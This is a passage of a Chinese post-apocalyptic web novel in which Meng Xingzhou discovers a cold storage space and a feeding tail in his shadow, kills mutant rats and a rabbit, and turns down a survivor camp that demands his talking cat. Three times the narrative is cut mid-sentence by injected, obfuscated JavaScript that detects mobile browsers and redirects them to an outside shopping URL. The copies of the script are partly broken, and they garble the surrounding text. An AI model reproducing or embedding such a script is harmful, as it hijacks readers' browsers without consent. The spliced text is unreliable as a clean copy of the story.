孟星洲看向窗外。 两轮月亮已经升起,一轮鲜红,一轮玉白。微红的月光照着大地,即使在室内,也能听见街道上污染物发出的怪异声音。 阳台窗户有窸窸窣窣的动静,伴随着令人牙酸的摩擦声。 猫停下饮水的动作,紧张地看向阳台。 孟星洲拍拍猫头:“别怕,是大啮鼠。” 几只红眼睛的老鼠排着队从窗台上跑过,每个都有三四十厘米的体长,刚从水沟里钻出来,披着湿漉漉的皮毛,啮齿上还粘着血迹。 大啮鼠,受污染后的普通褐家鼠,和孟星洲一样,连一级污染物都不是。 但当超过三十只大啮鼠聚集在一起的时候,就可以活活啃死一个成年人。 基地每个月都会定期对街道,尤其是处理厂这种地方,进行规模化的灭鼠,免得这些看似不起眼的小东西泛滥成灾。 队尾的大啮鼠体型惊人,停在窗台上,直勾勾看向玻璃瓶,开始用爪子扒窗户。 这种污染物十分有力气,竟然真的将窗户扒开一条缝隙。 孟星洲盖上瓶子放进口袋,起身径直走进厨房,出来的时候手里拎着一把水果刀。 大啮鼠半个脑袋已经挤了进来! 孟星洲大步走到阳台,拉开窗户,一刀将大啮鼠的脑袋扎个透穿! 匆忙磨过的水果刀不够锋利,插进鼠头的时候还有阻碍感,但孟星洲的手又稳又快,腕力充足,硬是靠力气将大啮鼠直接串在了刀刃上! 其他大啮鼠吱吱叫起来,孟星洲一甩刀身,穿在刀上的大啮鼠脱刃而出,将那一排大啮鼠向打保龄球一样全都砸下窗台。 这些大老鼠刚落地,就被草丛里窜出的黑影叼走,也看不清是什么动物。 孟星洲刚刚关上窗户,发现刀上的血液里游动着些许污染,不等孟星洲分辨清楚,污染飞蛾扑火,涌入孟星洲身体。 是污染! 数量不多,只有3点,但孟星洲所有的干渴、饥饿甚至疲惫都被冲刷得一干二净。 孟星洲忍不住眯起眼睛,耳边有“咕噜咕噜”的声音,像水潭里的气泡翻涌,又像什么东西吃饱了发出的餍足声响。 他甚至有了久违的饱腹感,拿着刀的手稍稍泄力,水果刀无声掉进影子里。 等等,有声音?幻听吗? 孟星洲四周找了一圈,终于在脚下找到了声音的源头——是他的影子。 月光下,他的影子像一瘫化开的液体,在一串叽里咕噜的声响后,一根细长的黑尾从影子里竖起来,黑尾尖还打了个弯。 毛绒绒的一根,和影子一样黑。 这是什么? 孟星洲将这黑尾捉进手心,捏了捏,手感和猫黑尾没有区别,即便用力揉捏黑尾,他的身体上也没有任何感觉。 大概是被捏得不舒服,黑尾挣扎两下,黑尾尖忽然一扭,尖端张开,露出四颗白生生的尖牙,毫不客气地在孟星洲手背上留下四个坑,然后嗤一下钻回影子里。 孟星洲:“?” 为什么咬人? 那黑尾钻回影子,猫急急忙忙靠近孟星洲:“咪咪。” 您怎么了? 孟星洲看看手背上四个小坑,刚刚吸收的污染已经被完全消化,加上原本测定的98点污染值,孟星洲的污染值已经达到101点:“我现在是……一级污染物了?” 猫激动地蹭着孟星洲:“咪!” 孟星洲这才发现手心空空如也:“刀呢?” 猫小心翼翼蹲在孟星洲的影子边,用前爪拍拍地面。 孟星洲:“影子里?” 虽然这么问,但强烈的直觉驱使孟星洲屈膝俯身,伸手没入影子,几秒后,他从影子里抽出水果刀。 …… 4. 随身冰箱 咕噜。 似乎是察觉到孟星洲的注视,这滩影子当着孟星洲的面冒出一个五彩气泡。 孟星洲:“……” 猫的爪子蠢蠢欲动,又畏惧影子里能勒死它的黑尾,只好干巴巴地舔一下爪子。 孟星洲再次伸出手,手指轻而易举探入影子。 猫眼巴巴蹲在他腿边,仰头看着孟星洲。 孟星洲:“没什么感觉,里面比外面冷。” 这滩看起来粘稠的阴影并没有特别的触感,里面是一个不算大的独立空间,保持着较低的温度。孟星洲一伸手下去,就感觉到明显的凉意,比室温要低。 猫眼睛一亮——它绿莹莹的眼睛,在月光下像两个闪烁的小灯泡:“咪!” 孟星洲点头:“对,可以保鲜。虽然制冷效果肯定不如冷柜,但总好过没有。” 现在是四月下旬的傍晚,气温在15摄氏度左右。 等到了夏日,最高气温可以轻易超过45摄氏度,整个夏季甚至会有一半的时间保持在50度以上。 这已经比末世第一年好得太多,虽然难捱,但人还能活得下去。 当外界处于25度以上的气温时,影子就能明显延缓物资腐败的速度了。 孟星洲还算满意:“我们测一下它具体的容量。” 孟星洲去主卧翻出几个抽屉式收纳箱。 用于柜内衣物收纳的无纺布箱子,单只容量就有50升。无纺布都被扯走了,就剩生锈的铁架子。 孟星洲塞了两个收纳箱进影子,发现还剩下足够手掌活动的空位:“100升多一些,相当于一个小型冰箱。” 孟星洲又向里面丢进去一些垃圾。好在空间虽然小,但无论把影子里装得再满再重,孟星洲本人都没有任何负重感。 孟星洲在客厅里慢慢走动,比正常影子暗沉一些的阴影温顺随行。 虽然远达不到保鲜的温度,但无需负重,甚至无需供电,直接免费拥有一个随身冰箱。 容量确实不大,但他和猫也很穷,翻遍全家也找不到几个值钱的家当,可能连100升的空间都填不满。 孟星洲:“这下就算是夏天,我们也可以储存一些物资了。现在只剩下一个问题……” 猫永远不会让污染源的话茬掉在地上:“喵?” 什么问题? 孟星洲:“如果没有光,影子还存在吗?” 他慢慢退向暗处。 猫也意识到这个问题,紧张地垂下尾巴,瞳孔逐渐放大。 在两双眼睛的注视下,孟星洲的影子逐渐与黑暗融为一体,无法分辨。 猫急得想要喵喵大叫,又担心引来污染物的注意,只好趴在地上眼泪汪汪地咪了一声。 我们的小冰箱不见了。 家里唯一的财产! 孟星洲仔细辨别几秒,展露笑意:“别急,我还能感觉到它。” 他俯身,从一团分不清的漆黑里,捞出一个金属框,再一松手,金属框无声没入黑暗。 “看来这它并不是依赖光直射而存在的区域,而是客观存在的某种物质。” 猫放下心,严肃点头:是隐身冰箱! 至于那条细长的黑尾…… 孟星洲把它捞出来,用手臂做参照,测出它全长大概三米,像的黑尾一样柔软坚韧。 黑尾尖端四颗尖锐小牙,孟星洲用力捏了两下,和影子一样,黑尾与孟星洲本人的感官并不互通。 这种牙齿真的能有杀伤力吗? 孟星洲狐疑地捏着黑尾:“这种牙……咬人都算是撒娇吧?” 黑尾不客气地叨了孟星洲一口,力道不重,也意料之中地没有破皮。 孟星洲:“……” 黑尾不会说话,为了测出黑尾的用处,孟星洲只好在水果刀上擦了点污染,拉开窗户,没一会儿果然钓来两只大啮鼠。 一只被孟星洲抓住,扔在屋子里,在它逃跑前直接踩住。 另一只刚刚靠近孟星洲,藏在阴影中的黑尾突然窜起,绞住大啮鼠,尖端狠狠咬进大啮鼠的动脉。 孟星洲终于知道尾尖端口器的作用了——那不是用来撕咬的,而是四颗吸取器,一旦见血就开始抽取活物体内的污染,而且效率极高,眨眼的时间就给孟星洲送去了…… “6点污染。” 孟星洲感受体内增长的污染,惊讶于黑尾吸收污染的速度和效率。 大啮鼠这种低级污染物,污染总值也就在20—30点之间,其中大部分都与躯体融合,几乎没有什么可支配的污染。 所以大啮鼠这类低级污染物,是无法用污染本身或污染得到的技能造成伤害的。 而想吸收这类污染物的污染,只能通过食用这个方式。 但就算整个吃掉大啮鼠,也不一定能完全消化。在处理厂张贴的污染肉类安全食用表中,正常人食用一整只大啮鼠,最终能吸收的污染,也是小于等于3点的。 但孟星洲从一只大啮鼠身上吸取到了6点污染。 黑尾吸收完污染,绞死大啮鼠,温顺地缩回影子。 黑尾吸收污染的效率,比人类食用污染物,甚至比污染物互相吞噬的效率更高。 至于第二只大啮鼠,疯狂啃咬着地面,试图攻击距离它较近的猫。 猫被吓得跳上孟星洲的肩膀。 孟星洲向这只大啮鼠注入了三点污染值。 吱吱啃着地面的大啮鼠一愣,它绿豆大的眼睛露出茫然,没有继续攻击行为。 孟星洲顺手拿了一块破布,把它包进布里,拿起来仔细观察。 猫探头过来:“咪?” 您在看什么? 孟星洲回答:“看它有没有发生变化,我想知道我的污染是不是一定会导致污染物发生变化或者出现天赋。” 大啮鼠在孟星洲手中浑身僵直,被翻过来的时候正好对上猫的视线,它吱——地惨叫起来,全然不复刚才的嚣张气焰。 孟星洲:“?” 猫:“咪?” 怕我吗?那胆子太小了。 孟星洲:“……没有觉醒天赋,看起来也听不懂我说话,应该是给的污染不够吧,但好像理智了一点。” 突然开智了,意识到作为一只老鼠,理论上应该是怕猫的。 孟星洲:“我的污染确实比较特殊,但也不是一定会激发天赋。剂量原因吗?” 毕竟给了污染,孟星洲最终没有下杀手,放开了这只老鼠。 它头也不回地跳上窗台,扒开窗户,奔进了自由的黑夜。 孟星洲道:“目前看来三点污染是安全剂量。” 想了想,他觉得可惜:“在基地的时候,研究所抽了不少我的血,测试我天赋的特性,可惜这些数据都没到我手里。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538055|203874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按理说他应该多做一些实验,测出准确的安全剂量。 但污染和血液一样,不升级的情况下,总量相对固定。一级的孟星洲极度贫血,每一滴污染都需要小心使用。 猫安慰地舔了舔孟星洲手臂上的针孔。 孟星洲被它舔得更惋惜了。 依照研究所的抽血量,正常人能被抽死两个,那些血液样本要是能还回来,可以喂很久的猫,省得这毛孩子跟着自己连饭都吃不饱。 孟星洲锁上所有门窗,顺手把一只收纳箱扔进影子,道:“睡一会儿吧,明天要早起。” 说是睡觉,但也不能睡熟,孟星洲只能靠在窗边浅眠,手里一直握着水果刀。 后半夜能听到各种污染物打斗撕咬的声音,最近的时候就在楼下。 直到双月的光芒被太阳重新遮盖,向阳花苑才逐渐恢复安静。 阳光照进主卧,孟星洲醒来第一件事,就是伸手探进影子,摸索几秒,捞出收纳箱。 扔进去之前是什么样子,拿上来还是什么样子,没有任何正面或负面的变化。 证明这个空间,确实是稳定且安全的。 孟星洲微微笑了下:“能用。” 猫蹲在地上,看得呆了呆。 咪的污染源,真的非常漂亮。 孟星洲没注意到它,用两张已经不太湿的湿巾洗脸,简单刷牙后问:“我今天要出去找幸存者据点,你要不要跟我一起去?” 他昨晚还在家里翻出一块能用的手表,此刻就戴在他手腕上,水果刀揣在口袋里。 他和猫需要食物、干净的水,还有更坚固的庇护所。 加入据点是稳妥的办法。 在新据点,他可以冒充自己拥有触手一类的天赋,作为天赋者,应该会得到不错的待遇。 他可以跟在其他天赋者身后,系统地学习如何做一个天赋者,变得更强。 清河西的污染物比预料中多,虽然昨晚平安无事,但污染物会周期性地发狂。 当两轮月亮都呈现红色,污染物将陷入无法自拔的疯狂,它们会成群结队地冲击每一个能闻到活物气味的建筑。 猫赶紧盘到孟星洲脖子上:“咪?” 镇子上的据点和市里的基地一样吗? 除了猫,家里最重要的财产就是三瓶自来水,都被孟星洲妥善安置在影子里,确保不会丢失,或被钻进来的大啮鼠啃破。 孟星洲想了想:“规模会小很多,清河西的常住人口也没多少。青壮在外务工,初高中的小孩一半在市里念书,不知道末世初期,上年纪的人熬下来多少。” 说到这里,孟星洲微微皱了下眉,很快又被猫的毛爪子抚平:“除了这些本地居民,应该还会有些其他据点流放来的人。” 其他据点的人? 猫忍不住瑟缩一下:“喵。” 他们会不会和基地一样把我们关起来抽血? 孟星洲戴帽子的动作一顿。 在基地里被抽血的不只是他,猫也没有逃过研究。只是它太脆弱了,研究所担心失去这个唯一的样本,所以被抽血次数并不多。 猫歪头小心看着污染源的表情。 孟星洲轻轻压低帽子,帽檐在他脸上投下阴影,语调听起来平静又和缓:“如果他们知道我是污染源,那有这个可能。不过我们的运气不错,能带去这个消息的人,现在说不了话。” 5. 南山别墅 孟星洲关门下楼。 猫在空气里使劲儿嗅闻,闻不到一点人味,又赶紧从肚皮毛上扒拉出笔记本,可惜笔记没有内容更新。 猫沮丧地压低耳朵:“喵。” 闻不出哪里人味更重。 孟星洲心里有数:“清河西镇的南山上有一片别墅区,那边地势高。听说当年目标客户就是回乡养老的有钱老板,房屋的配置设施比普通小高层强得多。” 猫蹲在孟星洲肩上,伸长脖子,果然在南边看到一片小山。 “我要是幸存者,应该会选南山别墅作为据点。独门独户,有地下室,能储存大量物资,再弄一些太阳能板,肯定比住高层舒服。” 孟星洲回头看了看向阳花苑:“昨天回家的时候就感觉出小区里没有幸存者活动的痕迹,我就在想据点肯定是在南山别墅。但实在太晚了,就近找一个熟悉的庇护所更重要。” 猫不在意住处,跟随污染源身边是它最大的愿望,何况它的污染源将它保护得很好。 猫紧紧依偎在孟星洲颈边:“咪。” 孟星洲摸摸它的脑袋,往南山别墅的方向走。 树木虽然被砍得差不多了,但低矮灌木和草丛还是长得很旺盛。 孟星洲走着走着能听到有窸窣的脚步声,就隐藏在草丛里。 孟星洲停下脚步,摸出水果刀。 猫发出疑问:“咪?” 我们不去了吗? 孟星洲四下看了一圈:“我记得附近有个宠物店,养了些兔子龙猫之类的,兔子很能生,受了污染之后繁殖能力也增强很多。我们带点肉去,外面这些据点可能要加入费用。” 孟星洲听到草丛里簌簌的声响,慢慢把猫塞进背包:“所以待会儿有什么东西窜出来,你不要害怕,就待在包里。” 猫缩进背包。 孟星洲右手抄进口袋摸出水果刀,左手摊开,手心一团流动的污染。 纯粹的污染对所有污染物都有致命吸引力。 果然,草丛里躲藏的东西按捺不住,一团足有泰迪犬大小的灰影冲了出来,张开的口部四颗尖牙,直奔孟星洲左手。 果然是一只兔子! 灰兔的体型和正常兔子差不多,啮齿却十分尖锐,几乎不像个食草动物。 孟星洲收手转身正对兔子,水果刀直接塞进兔子口中,借对方的咬合力抽刀出来,拎住对方的长耳朵摁在地上,在动脉处割了一刀。 刀刃切入兔子皮肉的时候,影子里的黑尾忽然窜出来,精准咬在伤口处,9点污染被送入孟星洲体内,孟星洲的污染值来到116点。 孟星洲忍不住眯了下眼睛,感觉自己今天可以省掉两顿饭,余下来的肉可以喂猫。 而兔子摔在在地上后只是抽动几下,就不动了。 孟星洲轻轻踢开兔子,它躺在地上彻底断气,毫无动静。 污染物的生命力一直十分顽强,即便受到致命伤也能蹦跶很久。 孟星洲轮班做装卸工的时候,一些刚被送来的污染物明明受了致命伤而且经过了路途颠簸,竟然还能跳起来攻击。 孟星洲的身手和力气,可以说全是做搬运工时候练出来的,毕竟躲得不够快,不仅会受伤,还有可能被传染。 这只兔子应该是被吸收了污染值,才咽气得这么快。 喷出来的血溅了几滴在袖子上,孟星洲摸出块破布随便蹭了两下袖子,又仔细擦了刀,才弯腰从兔子嘴里拔出刀套,塑料刀套碎成好几块,孟星洲只好用破布缠住刀刃。 面对状态完好的污染物,他的反应速度还是差了一点,损失了一个刀套。 孟星洲:“好了。” 猫从背包里伸出头去看。 这只兔子浑身灰色杂毛,门牙作为异型齿本就突出,受污染后得到了强化,比孟星洲的两根手指更粗,短小前肢也长出尖利的爪子。 猫眼睛一亮:“喵。” 是好吃的兔子。 孟星洲点头:“这种兔子出肉量很不错,污染值也不高,缺点是脂肪含量低,但好歹是肉。” 他拎起兔子,上手一掂就估出重量——大概有十七八斤。 猫忍不住舔舔嘴巴,用力点头。 孟星洲将兔子塞进塑料袋装进背包,继续往南山别墅的方向出发。 …… 吕成坐在四角雨棚底下,脸色蜡黄:“昨天74136没送人过来啊?不过这个月已经加入十七个幸存者了,超额完成目标,不然得出去搜幸存者。” 窦思莹已经在南山据点待了四个多月:“正常,大巴不是每次都能送人过来。” 吕成打了个寒颤:“对,还有车费。还好我当时穿的是旧衣服,裤兜里还有过年发红包剩的现金,不然我们同车的几个都要被做成椅子。” 窦思莹耸肩:“不止,要是运气不好,晚上才到清河西,下车可能就被污染物吃了。” 吕成露出向往的表情:“是啊。还是坐大巴安全,要是能驯化大巴就好了,我们坐着大巴去其他地方找幸存者,又快又省力。” 窦思莹:“我听宿舍的老人说过据点打过幽灵大巴的主意。毕竟幽灵大巴能自主攻击,不吃油不需要浪费资源,能一次性拉几十个人出去,可以更快地扩张据点,但上次实施计划的时候,死了两个天赋者。” 吕成毛骨悚然:“74136杀人?不是说74136脾气很好,只会遗弃违规乘客吗?” 窦思莹:“你听谁说的?劝你别对能说话的污染物有什么滤镜,以为它们是可以沟通的生物。我坐大巴来的时候,同车的一个傻子因为想偷大巴胃里的金块,被大巴直接丢到车外,落地就骨折,前几天因为干不动活,生生饿死了。” “污染物个个都是偏执狂,行为逻辑和正常人是不一样的。74136天天往返载客还不偷吃,不是因为它善,是因为它有执念,离污染物远点。” 吕成连连点头:“我记住了。” 窦思莹拿起杯子喝了点水润润嘴唇。 吕成突然眯起眼睛:“有幸存者过来了!咦,带了宠物吗?” 窦思莹看过去。 柏油路上,有人径直走向雨棚。 男性,高高瘦瘦一个,穿着黑色工装,戴一顶鸭舌帽,肩上端端正正蹲着一只奶牛猫。 窦思莹微微皱起眉。 走到近前了,那人微微抬起帽檐,目光向雨棚投来。 窦思莹这才发现此人十分年轻,帽檐下眉宇鲜明,不等窦思莹看得更仔细,对方已经压低帽子,走了过来。 “你好,我看这个牌子上写着幸存者报名点,现在还招募幸存者吗?” 窦思莹愣了一会儿,直到对方屈指轻扣桌面,才反应过来:“啊——招!当然招!” “我叫窦思莹,窦娥的窦,思考的思,萤火虫的萤。我旁边这个是吕成,我们都是招募负责人,你怎么称呼?” “孟星洲,恒星的星, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538056|203874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绿洲的洲。” 孟星洲一边说话,一边打量据点。 清云是平原带丘陵的城市,所谓的南山,实际上只是比地面高出一些的小山坡,山上的绿化和树木早就被砍伐一空,光秃秃地露出高墙和铁丝网。 入口有两个全副武装的守卫,腰上似乎别着手/枪,从制式来看,大概率是从警察局顺来的,正有一搭没一搭地向自己投来视线。 招募幸存者的雨棚摆在距离入口大约七十米的位置,雨棚里除了窦思莹外,还有个年轻男人,正愣愣看着自己。 孟星洲早习惯这些视线,只是压了压帽檐,他看着脚边的小黑板,上面除了“幸存者招募”以外,没有标注任何加入条件。 这种“条件不明”的,要么是没条件,要么是条件太差,以至于根本不标注。 窦思莹瞥了眼守卫,然后踩了脚吕成,问:“年纪?原本有工作吗?” 吕成如梦初醒,红着脸慌乱抓来登记表。 孟星洲没有回答,转而问:“加入据点有什么要求吗?” 窦思莹停下笔:“这要看你是不是天赋者了。普通人的话,刚加入据点没有贡献值,只能住六人一间的集体宿舍,据点会给你分配工作,每天大概工作14个小时,也包吃,每天都会分配定量的食物。” 孟星洲几乎以为自己听错了:“六人间宿舍,14个小时工作?” 清云基地都不会这么压榨劳动力,处理厂每天工作10个小时而已,工资高到孟星洲可以自己买一个小公寓。 窦思莹苦笑:“是很忙,但末世前不少流水线不也这样?现在这个状况能活着就很不错了。你要是特殊职业,医生护士修理工每个月能分到额外的物资。” 吕成抢话:“天、天赋者能分到单独的宿舍!而且据点会根据每个天赋者的能力,安排合适的工作。” 孟星洲:“你们有办法测试天赋者的能力?我从清云基地来,那边都没有办法。” 清云基地对他的天赋都是通过提取大量污染值进行实验得出结论,基地甚至一直认为低级污染物不会觉醒天赋,猫也因此逃过一劫。 窦思莹笑起来:“我们据点的一位天赋者有类似的能力。如果不是战斗型,也不强制参与对外清扫。天赋者每个月分到的各项物资都比普通人多不少,要真是天赋者,隐瞒能力挺不划算的。” 孟星洲没想到这样一个据点卧虎藏龙,不动声色摇头:“我不是天赋者,普通人。” 到这里,孟星洲加入据点的想法已经趋近于零了。 真不是天赋者? 窦思莹仔细观察孟星洲的表情,然而这张脸实在是漂亮得过头,让窦思莹难以集中注意力去揣测他的心理。 窦思莹直接放弃思考,斟酌着开启话题:“猫怪可爱的,这是你的宠物吗?” 孟星洲抬手轻挠猫的下巴:“对。” 猫呼噜呼噜地仰起头。 窦思莹又叹了口气:“如果是普通人想加入,据点要求上交所有个人财物。” 猫睁大眼睛,下意识看向孟星洲,惶惑地扁了扁耳朵。 孟星洲一手将猫的脑袋摁在自己胸口,让猫清晰感受到了他的用力,又恰好卡在不会让它难受的程度,也掩盖了猫过于人性化的动作。 孟星洲问:“什么意思?” 窦思莹:“意思是,如果你想加入据点,这个猫我们要收走充公。不过可以算贡献值,也许能兑换个好点的宿舍。” 6. 变异犬(捉虫) 孟星洲低头。 猫趴在他怀里,细尾巴扁肚子,没什么光泽的黑白皮毛,此刻紧张地舔着鼻头和嘴巴。 一只被他养得很差的猫,没有名字,没有安全感,也没有肥膘。也是这个世界上,知道并接受他一切的生物。 虽然是被动的。 也许有选择的机会,小猫也会远离他。 南山据点一旦检测出他的天赋是【污染】,对待他的态度可能比清云基地更反感。 “抱歉,我不能接受。” 孟星洲回答。 为了防止猫做出更多人性化的动作,孟星洲把猫脑袋塞进领口,然后拉上拉链,正好卡住猫头。 外套里都是污染源熟悉的气味,猫情不自禁嘬一口孟星洲的上衣,又讨好地舔舔,留下一块口水印,心虚地一脑袋摁上去挡住。 它是有家的猫。 猫抖了抖耳朵,只敢在心里给污染源取昵称:孟孟喜欢猫,孟孟好。 孟星洲被它舔得有些痒。 窦思莹对孟星洲的拒绝毫不意外。 吕成吃惊:“那、那你怎么办?外面晚上都是污染物!这里不是清云基地,据点里的天赋者只清理附近的污染物,其他地方很危险的。猫、猫没那么重要……” 他真心诚意地着急起来:“犯、犯不着的。我们据点虽然日子难过,但是安全,至少饿不死人。” 窦思莹瞪了吕成一眼:“小点声。” 吕成不理解自己的着急,但忍不住小声:“只是猫啊……” 窦思莹反复犹豫,最终还是瞥了眼守卫的方向,低声:“清河西不止南山一个据点,你知道东边有个快乐广场吗?” 孟星洲:“我是清河西本地人。” 窦思莹语速飞快:“快乐广场后面的商城是第二个幸存者据点,那边的天赋者似乎是比南山这边少很多,但怎么说也是有的。你可以去碰碰运气,不过离得不算近,想去得加紧了。” 吕成也想起了广场据点,连忙点头:“对对对。” “如果你不打算加入任何一个据点,每月的十七号上午九点,也就是后天。镇子会在快乐广场附近的空地上举办集市,化工厂那边的据点都可能会赶过来参与,你可以换到基础的生活物资。” 相比于吕成,窦思莹对南山据点似乎没什么归属感。 孟星洲定定看向窦思莹,试图从这位年轻女士的脸庞上辨别她细致叮嘱的用意。 窦思莹耸肩,视线刻意停在孟星洲胸口:“没仇没怨的,结个善缘。” 孟星洲低头,猫的脑袋被拉链卡在外套里。 很显然,这位心细的女士已经发现猫异于普通动物的举止,看来回去的路上需要额外叮嘱猫,不要在外人面前做出太人性化的行为。 孟星洲:“谢谢。” 他冲窦思莹点头,转身快步下山。 吕成的肚子叫了两声,他不以为意地揉揉肚子,压低声音:“窦姐,广场据点是不是待遇比南山好啊?” 窦思莹沉默几秒:"广场那边有木系天赋者,主食肯定多。其实……南山的资源并不少,甚至多得很,只是轮不到我们这些人而已,要说优点,这边天赋者多,稍微安全点。红月的时候,我们只要缩在家里就行。” 吕成疑惑:“那我们据点怎么没吞掉广场,反而一直往清河西外扩张?听说在接触清河东镇了,明明中间隔着清河。” 窦思莹有点无语:“那边有幽灵大巴59837啊,严格来说它不是大巴,是公交车,主要运营路线就是清河西镇内,两个据点在幽灵大巴的地盘上开火,想死啊?59837脾气很怪的,比74136凶多了。” 吕成:“咱们据点最高级天赋者不也是十五级吗?” 窦思莹:“对,然后他和59837同归于尽,我们被清河东镇吞并,过河的时候随机死掉一半人。” 吕成:“……对不起。” 窦思莹翻了个白眼。 两人说话间,门口的守卫换班,其中一个没有回到据点休息,反而径直走向雨棚。 守卫冲孟星洲离开的方向一抬下巴:“那小子怎么走了?” 窦思莹没想到这帮傲慢的天赋者居然会过问这种事情,据点的天赋者虽然不像污染物一样到处发癫,但也挺神经质的。 她回答:“说是不想上交那个宠物,看得还怪重的。” 守卫轻轻磨了下后槽牙:“走得倒是怪干脆的,不会是想去快乐广场那个据点吧?” 窦思莹桌子下的手轻轻缩了下,面上却皱起眉:“估计是,广场不是一直都在跟我们抢人吗?我们留在站台的牌子估计又被他们撤掉了,得重新做一块。” 吕成小声插话:“那我们现在重新去弄。” 守卫慢慢笑起来,嘴唇红得奇怪:“现在?算了吧,你们这些吃白饭的废物最远就去过交易集市,根本不知道镇子里除了大巴,究竟还有什么玩意儿。你以为为什么是17号办交易市场?” 窦思莹愣住了,她来据点只有两个月,当然不知道太多信息:“那、快乐广场那边为什么还能一直存在?” 守卫斜了窦思莹一眼:“他们有他们的保命手段。” 窦思莹脸色苍白,她给孟星洲提供的信息不仅错误,甚至可能致命。 虽然最开始有押宝的想法,但她无意害死一个没有伤害过自己的人。 “这小子死定了,可惜了,长得还怪漂亮的。” 守卫舔了下干燥的嘴唇,眼珠依然直勾勾盯着孟星洲离去的方向。 终于,守卫转回视线,咧嘴笑了下:“至于你们俩,今天就一个幸存者,还放他跑了,今天的晚饭扣了吧。别整一些小动作,知道吗?” 普通人赖以生存的资源,天赋者一句话就能左右。 窦思莹和吕成只是低下头,习以为常地喝了点冷水充饥。 …… 快乐广场 钢化玻璃的大门紧闭,一人多高的铁栅栏包围着广场,今日却打开了一个一米宽的缺口。 缺口外摆着一台商用冰淇淋机,一条有明显使用痕迹的大型犬专用胸背紧紧缠在机器把手上。 几个幸存者躲在窗帘后,紧紧盯着冰淇淋机的位置。 “几点了?” “十点五十六,要来了。” 话音落下没几秒,一只污染物从对面小区的侧门走了出来,径直走向广场,路过红绿灯的时候还装模作样地等了一会儿。 污染物很快走到冰淇淋机附近,幸存者也看清了这东西的真面目—— 一只体型惊人的长毛犬。 肩高完全超过八十厘米,无人打理的毛发结块擀毡,眼珠鲜红,整个头部几乎是正常金毛的两倍,吻部拉长,过长的上犬牙将嘴皮压出深深的凹痕,爪子在行走时,敲击水泥地面发出令人牙酸的声响。 它呼哧呼哧地贴近冰淇淋机,闻到背带上熟悉的味道,热情地地摇动尾巴。 摇了一会儿,它眼眶里的四枚眼珠疑惑地乱转起来,不知道自己在干什么,它也注意到了玻璃窗后的偷窥者,却没有扑进去的欲/望,最后它垂下尾巴,转身向其他地方走去。 它很饿了,需要吃一点东西。 窗帘后的幸存者如释重负,告诉身后的寸头:“行了,今天安全。” 想起寸头是新人又是有前科的流放者,幸存者强调:”告诉你那几个朋友,今天不能出门!这狗每个月的16号都会外面溜达一大圈,也不知道具体去什么地方,出门乱逛可能正好撞上它,这狗吃人的。” 寸头慌张点头,一瘸一拐地向后走去。 ……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538057|203874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “以后在外人面前,你要装得像个普通猫,猫是听不懂人话的。” 孟星洲拉开拉链,拔出猫头:“不然我以后不带你出来了。” 单独把猫放在家里,担心这连老鼠都打不过的文员猫被钻进家门的污染物吃掉,带猫出来,二两重的猫肉又招人惦记。 猫一头撞在孟星洲胸口,千回百转地叫了一声:“咪。” 对不起,请原谅猫。 孟星洲顺手捏住猫的脸:“我没有生气。” 猫被拉成大脸猫,咕噜咕噜地在孟星洲手臂上踩踩。 孟星洲看了眼手表,估算距离:“十点四十七,时间是足够的。我们去快乐广场看看。不适合居住的话,至少也换点东西,商城应该不缺物资,最好能换一把更长的武器。” 水果刀无论是强度和锋利度都很差,只是杀几只老鼠和一只兔子而已,刃口已经有轻微的损伤,如果晚上再碰见棘手的污染物,就会很麻烦。 虽然有用于攻击的黑尾,但面对污染物数量一旦超过一个,孟星洲就需要冷兵器帮衬。 猫对污染源做的任何决定都没有异议,但孟星洲走了这么久,它主动跳下地,跟在孟星洲脚边:“喵呜!” 猫可以自己走。 孟星洲稍作犹豫,还是弯腰捏住猫的后颈皮将它拎回怀里:“算了,我怕你被窜出来的兔子叼走。” 猫:“……咪?” 您为什么不带着大巴车呢?它作为代步,可以为您节省很多时间和体力。 孟星洲:“养活不起。我不知道它一次要吃多少污染值才算饱,万一哪天饿极了,吃了我们两个都是一口的功夫。我可打不过它,基地里的002都没拿下74136。” 猫老实点头。 清河西实在不是一个小镇子,而且有些地方的路况极其差,完全被废弃的车辆堵塞,根本不能通行。 十一点二十,太阳已经高高升起,孟星洲走在楼层的阴影下,脚步却渐放慢。 再往前步行三十分钟,就能到达高档小区“云舒华府”,快乐广场就在云舒华府后面。 青天白日,附近没有幸存者活动,甚至安静到诡异,连窸窸窣窣的动静都听不见,往南山别墅走的时候好歹能看到小型污染物偶尔从路上穿过。 孟星洲停下脚步,轻声自语:“不太对。” 越靠近,越觉得奇怪。 更弱势的快乐广场,难道能和清云基地一样定时清扫据点外的污染物吗? 强势的南山别墅明明需要幸存者,但至今没有吞并“没几个天赋者”的快乐广场,甚至还搞出了可以和平相处的交易集市。 